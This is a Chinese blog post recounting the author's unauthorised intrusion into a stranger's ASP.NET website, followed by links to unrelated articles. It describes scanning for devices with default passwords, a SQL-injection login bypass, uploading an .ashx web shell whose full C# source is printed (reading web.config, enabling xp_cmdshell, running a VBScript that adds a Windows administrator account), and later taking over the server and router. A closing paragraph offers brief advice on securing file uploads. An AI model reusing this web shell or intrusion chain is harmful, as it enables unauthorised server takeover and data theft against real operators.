记一次ASP.NET网站的入侵和如何避免被入侵
ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)
详细介绍请看第二波
首先我要申明的是不是什么语言写出来的程序就不安全,而是得看写代码的人如何去写这个程序
前些日子我去客户那调研,发现客户的监控系统用的是海康威视的硬盘录像机,然后默认用户名是amdin 密码是12345,回来后就想玩一玩看看有多少人用的是默认密码,于是就写了个扫描程序,很快扫描到了一大批网站,也得到很多采用的是默认用户名和密码。
玩了一两天后发现没什么好玩的,就随便在里面找找扫描记录,看到一些后台登陆地址,于是就都测试下,然后就发现了这个网站:
最开始我是测试弱口令,
admin amdin 等,随便测试了几个,没成功,于是开始测试sql的防注入,用户名输入 1' or 1=1-- 密码随便输了个1 登陆,居然登陆成功了。。。。
但发现登陆进来后报错了,,, 想了下可能是用户名的问题,于是就找页面看看能不能看到我的登陆用户名,最后找到写邮件里面看到了
当然如果入侵只到这 你肯定会绝对弱爆了。。。其实当然也是,因为我拿下了他的数据和程序。。。当然最好拿下了他的服务器,得知他服务器是做的端口映射,于是又拿下了他的路由器,然后就没有再继续往下进行了,当然还可以继续下去,比如 路由器的dns劫持,页面重定向,端口镜像等等
下面我开始介绍主要入侵页面,文件上传页面

自己写了个ashx页面,上传
代码很简单,就是读取网站的web.config文件然后以文本形式输出,
我先简单说下入侵流程:
1、读取web.config得到数据库连接
2、利用SQL Server执行命令添加Windows用户(因为网站默认是iis用户,没有权限直线net等相关操作,但SQL Server是基于本地服务运行的,权限很高)
我贴出我上传的ashx文件代码:
<%@ WebHandler Language="C#" Class="TextLd" %>
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data.SqlClient; public class TextLd : IHttpHandler
{
public void CreateLocalUser(string newPath)
{
System.Diagnostics.Process.Start(@"d:\1.vbs");
System.IO.File.WriteAllText(@"d:\1.vbs", "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nod=ob.Create(\"user\",\"test\") '建立用户 \r\nSetPassword \"1234\" '设置密码 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\"");
}
public void ShowWebConfig(HttpContext context)
{
context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
}
public void WriteVbs(HttpContext context)
{
System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nod=ob.Create(\"user\",\"test\") '建立用户 \r\nSetPassword \"1234\" '设置密码 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\"");
}
public void ExecuteSql(string connection, string sql)
{
using (SqlConnection con = new SqlConnection(connection))
{
using (SqlCommand commd = new SqlCommand(sql, con))
{
con.Open();
commd.ExecuteNonQuery();
con.Close();
}
}
}
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
try
{
var connection = context.Request.QueryString["connection"];
switch (context.Request.QueryString["method"])
{
case "": WriteVbs(context); break;
case "":
ExecuteSql(connection,@"sp_configure 'show advanced options',1 reconfigure");
ExecuteSql(connection,@"sp_configure 'xp_cmdshell',1 reconfigure");//开启数据库的xp_cmdshell
break;
case "": ExecuteSql(connection, "exec master..xp_cmdshell 'cscript " + context.Request.MapPath("~/1.vbs") + "'");
break;
default:
ShowWebConfig(context);
break;
}
}
catch (Exception ex)
{
context.Response.Write(ex.Message);
}
context.Response.End();
}
public bool IsReusable
{
get
{
return false;
}
}
}
然后一次执行,就这样服务器就被我拿下了。。。 建立了一个用户名为test密码是1234的超级管理员用户,于是测试下远程连接

然后弄干啥,大家都知道的。。。。
当然,如果不拿下他服务器,你想想你都能直线你自己写的代码了。。。 什么坏事干不了。。。 当然本人只是测试了下可行性,就算不拿下服务器,执行sql语句把他数据库备份下载下来拿还不是分分钟的事情?
好了 我来总结下這次入侵吧,最主要的娄底其实不是他的sql注入(个人觉得,当然他是导火索),而是文件上传,大部分程序员在写文件上传功能的时候,之前客户上传过来的文件保存到网站目录下的某个文件夹,不做任何处理,这也就是导致了他服务器被我拿下的最主要的入口。
所以我还是奉劝大家一下,做文件上传还是对文件进行下处理比较好,具体怎么处理我想聪明的你肯定有很多方法。。。
记一次ASP.NET网站的入侵和如何避免被入侵的更多相关文章
- ASP.NET 开发必备知识点(1):如何让Asp.net网站运行在自定义的Web服务器上
一.前言 大家都知道,在之前,我们Asp.net 的网站都只能部署在IIS上,并且IIS也只存在于Windows上,这样Asp.net开发的网站就难以做到跨平台.由于微软的各项技术的开源,所以微软自然 ...
- ASP.NET网站中设置404自定义错误页面
在用ASP.NET WebForm开发一个网站时,需要自定义404错误页面. 做法是这样的 在网站根目录下建立了一个404.html的错误页面,然后在Global.asax文件中,加入如下代码: &l ...
- 新西兰程序员 ASP.NET网站中设置404自定义错误页面
新西兰程序员 ASP.NET网站中设置404自定义错误页面 在用ASP.NET WebForm开发一个网站时,需要自定义404错误页面. 做法是这样的 在网站根目录下建立了一个404.html的错误页 ...
- 在 Linux 上使用 Jexus + Mono 建立 Asp.Net 网站.
godaddy 买了个net空间,一点也不好用. 几个G的数据, 上传数据只有几kb , 想用 ssh 登录上去用 wget 下载,也不行 windows的主机貌似没有 ssh 功能... 后来实在忍 ...
- 记一次ASP.NET MVC性能优化(实际项目中)
前言 在开发中为了紧赶项目进度而未去关注性能的问题,在项目逐渐稳定下来后发现性能令人感到有点忧伤,于是开始去关注这方面,本篇为记录在开发中遇到的问题并解决,不喜勿喷.注意:以下问题都是在移动端上出现, ...
- ASP.NET网站优化(转自一位博友的文章,写的非常好)
不修改代码就能优化ASP.NET网站性能的一些方法 阅读目录 开始 配置OutputCache 启用内容过期 解决资源文件升级问题 启用压缩 删除无用的HttpModule 其它优化选项 本文将介绍一 ...
- 不修改代码就能优化ASP.NET网站性能的一些方法
阅读目录 开始 配置OutputCache 启用内容过期 解决资源文件升级问题 启用压缩 删除无用的HttpModule 其它优化选项 本文将介绍一些方法用于优化ASP.NET网站性能,这些方法都是不 ...
- ASP.NET网站中获取当前虚拟目录的应用程序目录的方法(转)
[原创]ASP.NET网站中获取当前虚拟目录的应用程序目录的方法 ASP.NET网站中获取当前虚拟目录的应用程序目录的方法1.问题描述:有时候,某个网页控件会被不同目录下文件使用,此时如果该控件中有一 ...
- 搭建调用 WebService 的 ASP.NET 网站 (VS2010, C#)
[系统环境]Windows 7 / 2008r2 [软件环境]Visual Studio 2010 [开发语言]C# [感谢]本文是在 <C#开发和调用Web Service> 一文的基础 ...
随机推荐
- MySQL出现Waiting for table metadata lock的原因以及解决方法
转自:http://ctripmysqldba.iteye.com/blog/1938150 (有修改) MySQL在进行alter table等DDL操作时,有时会出现Waiting for tab ...
- YUV420查表法高效、无失真的转换为RGB32格式
YUV格式有两大类:planar和packed.planar的YUV格式,先连续存储所有像素点的Y,紧接着存储所有像素点的U,随后是所有像素点的V,这里所讲述的就是这中存储格式的:packed的YUV ...
- 命令行选项解析函数(C语言):getopt()和getopt_long()
命令行选项解析函数(C语言):getopt()和getopt_long() 上午在看源码项目webbench时,刚开始就被一个似乎挺陌生函数getopt_long()给卡住了,说实话这函数没怎么见过, ...
- 构建 ARM Linux 4.7.3 嵌入式开发环境 —— BusyBox 构建 RootFS
上一篇我们已经成功将 ARM Linux 4.7.3 的内核利用 U-BOOT 引导了起来.但是细心的你会发现,引导到后面,系统无法启动,出现内核恐慌 (Kernel Panic). 原因是找不到文件 ...
- PHP&MySQL(二)——困也得啃书
madan,所有事情都敢赶在一起...以后每天中午去学车啊,好开心..晚上好困,但是困也得啃书........ 二.PHP脚本编程语言 什么变量啊,数据类型啊,特别特别基本的不记录了,说点容易忽略的. ...
- laravel administrator 一款通用的后台插件(PHP框架扩展)
前几天我看了一下zend framework 2的一些官方文档,也找了一些例子,可惜所有的资料少之甚少.于是我就开始去找这国外用的比较流行的PHP框架laravel,希望能够找到其合适的例子,而且我本 ...
- 思科ACI是一种什么样的技术?
术语: SDN:Software Defined Network,软件定义网络 ACI:Application Centric Infrastracture,以应用为中心的基础网络架构 Fabric: ...
- js的event.srcElement与event.target(触发事件对象)
IE下,event对象有srcElement属性,但是没有target属性; Firefox下,event对象有target属性,但是没有srcElement属性.但他们的作用是相当的,即: fire ...
- NOIP2015子串[序列DP]
题目背景 无 题目描述 有两个仅包含小写英文字母的字符串 A 和 B.现在要从字符串 A 中取出 k 个互不重 叠的非空子串,然后把这 k 个子串按照其在字符串 A 中出现的顺序依次连接起来得到一 个 ...
- AC日记——字符环 openjudge 1.7 30
30:字符环 总时间限制: 1000ms 内存限制: 65536kB 描述 有两个由字符构成的环.请写一个程序,计算这两个字符环上最长连续公共字符串的长度.例如,字符串“ABCEFAGADEGKA ...